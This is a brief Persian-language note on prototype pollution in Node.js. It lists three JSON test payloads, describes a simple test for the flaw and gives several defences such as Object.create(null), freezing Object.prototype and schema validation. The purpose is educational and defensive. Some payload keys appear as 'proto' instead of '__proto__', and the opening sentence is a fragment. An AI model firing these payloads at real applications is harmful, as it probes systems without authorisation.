سال ۲۰۲۱ تو Node.js توابع متعدد.
پیلودهای رایج:
{"proto":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}
{"proto":{"toString":"evil"}}
چطور تست کنیم؟
یه ورودی JSON بدیم که یه پراپرتی عجیب ست کنه.
بعد چک کنیم اون پراپرتی تو همه آبجکتها هست یا نه.
دفاع:
از Object.create(null) استفاده کن.
Object.freeze(Object.prototype) بزن.
JSON.parse رو با یه reviver امن پردازش کن.
ورودی رو با یه اسکیمای سخت اعتبارسنجی کن.
#ℳℴ𝒷𝒾𝓃
